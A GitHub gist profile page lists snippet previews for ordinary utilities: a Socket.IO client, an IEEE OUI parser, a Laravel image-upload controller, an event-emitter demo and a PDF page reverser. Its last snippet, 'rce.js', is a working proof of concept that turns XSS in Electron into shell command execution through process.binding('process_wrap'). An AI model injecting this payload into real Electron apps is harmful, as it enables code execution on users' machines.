Skip to content

Instantly share code, notes, and snippets.

View franquis's full-sized avatar

François du Cray franquis

View GitHub Profile
@franquis
franquis / client.js
Created December 19, 2011 16:53
Testing FS and Socket.IO
var i = 0;
var socket = io.connect('http://127.0.0.1:8000');
/*
* data = [{'log':'path/to/log1','result':'/path/to/result1'},{'log':'path/to/log2','result':'/path/to/result2'}];
*/
//Asking for files content
var send = function(){
//Asking for the path/to/files1 and then path/to/files2
@franquis
franquis / IEEEOUIparser.py
Created October 18, 2013 08:45
Parsing IEEE OUI with Python
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import urllib2, re
def ParseIEEEOui(url = "http://standards.ieee.org/develop/regauth/oui/oui.txt"):
req = urllib2.Request(url)
res = urllib2.urlopen(req)
data = res.read()
IEEOUI = []
for line in data.split('\n'):
@franquis
franquis / PostController.php
Last active February 4, 2023 03:12
Summernote image upload with PHP (Laravel + Intervention\lmage)
<?php
/**
* This exemple shows how to parse base64 encoded images (submitted using Summernote), save them locally
* and replace the 'src' attribute in the submited HTML content
*
**/
use Intervention\Image\ImageManagerStatic as Image;
class PostController {
public function edit(){
@franquis
franquis / phone-call.js
Last active September 1, 2016 11:05
A try to implement event based flow in javascript
var EventEmitter = require('events').EventEmitter;
var util = require('util');
var log = function(str){
var t = Date.now();
console.log(t + " " + str);
}
var Call = function (){
@franquis
franquis / reverse.py
Created October 3, 2016 13:02
Reverse page order in PDF file with Python
#!/usr/bin/python
"""
This script reverse the pages of a PDF document and save it to a new file.
Dependancy :
- "PDFRW"
Usage :
- `pip install pdfrw`
- `python reverse.py file.pdf`
@franquis
franquis / rce.js
Created March 16, 2018 14:01 — forked from thejh/rce.js
RCE using XSS in Electron
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'/bin/sh',args:['sh','-c','id > /tmp/owned'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});